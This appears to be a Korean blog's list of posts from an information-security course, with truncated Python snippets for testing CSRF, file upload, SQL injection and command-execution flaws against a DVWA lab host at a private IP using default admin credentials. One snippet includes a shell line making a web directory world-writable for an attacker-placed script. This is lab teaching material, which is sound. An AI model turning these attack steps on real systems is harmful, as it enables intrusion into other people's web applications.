정보보안과정/웹 페이지 취약점 진단(4)
-
CSRF 취약점 진단
#!/usr/bin/env /usr/bin/python3 # ====================================================================== # 선수작업 1(linux200) # ====================================================================== # (1) 공격자는 xss.php 파일을 linux200 서버의 /var/www/html/xss 디렉토리에 생성하고 # 적당한 권한을 준 이후에 웹서비스를 기동한다. # (EX) # cd /var/www/html; mkdir -p xss; chmod 777 xss; chown apache:apache xss; service httpd restart # (EX..
2020.04.22 -
FileUpload 취약점 진단
#!/usr/bin/env /usr/bin/python3 # # File Upload Attack # # (1) Login attempt # (2) Security level setting # (3) File upload possible? # (4) File upload attack import requests from bs4 import BeautifulSoup import re import sys domain = 'http://192.168.10.134' proxies = {'http': 'http://localhost:9000', 'https': 'http://localhost:9000'} s = requests.Session() # (1) Login attempt login_url = domain..
2020.04.21 -
SQL Injection 취약점 진단
#!/usr/bin/env /usr/bin/python3 # # SQL Injection (Error-based SQL Injection) # import requests from bs4 import BeautifulSoup import re import sys import os # (1) Login Attempt # (2) Security level setting # (3) SQL Injection possible? # (4) SQL injection attack domain = 'http://192.168.10.134' def banner(): banner_message = """ ------------------------------------------------ Remote excution vu..
2020.04.21 -
Command Execution 취약점 진단
#!/usr/bin/env /usr/bin/pythn3 import requests from bs4 import BeautifulSoup import re import sys import os login_url = 'http://192.168.10.134/dvwa/login.php' login_data = {'username': 'admin', 'password':'password', 'Login':'Login'} s = requests.Session() # 요청을 하면 응답이 돌아온다. resp = s.post(login_url, data=login_data) # print(resp.text) soup = BeautifulSoup(resp.text, 'lxml') # print(soup.div.h1.s..
2020.04.06